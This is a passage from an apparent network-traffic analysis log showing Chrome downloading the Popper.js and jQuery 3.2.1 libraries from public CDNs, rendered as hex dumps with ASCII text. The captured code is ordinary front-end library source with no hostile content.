75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 3b 7d 76 61 72 20 69 3d 74 28 65 Data Ascii: =getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2b 70 61 72 73 65 46 6c Data Ascii: &void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFl
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 28 64 29 3a 6f 3d 3d 3d 64 26 26 27 Data Ascii: t-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 3e 3d 6f Data Ascii: h:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 73 3a 7b 7d 2c 61 72 72 6f 77 53 74 Data Ascii: ` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowSt
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 6e 28 70 2e 70 61 72 65 6e 74 4e 6f Data Ascii: &&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(n(p.parentNo
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 73 74 61 72 74 27 3a 27 73 74 61 72 Data Ascii: function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'star
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 74 2e 6f 66 66 73 65 74 2c 6e Data Ascii: ==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset,n
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 Data Ascii: &e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49726	151.101.66.137	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:04 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:04 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1034394 Date: Tue, 01 Oct 2024 10:21:04 GMT X-Served-By: cache-lga21963-LGA, cache-nyc-kteb1890071-NYC X-Cache: HIT, HIT X-Cache-Hits: 46, 0 X-Timer: S1727778064.290797,VS0,VE1 Vary: Accept-Encoding
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-10-01 10:21:04 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
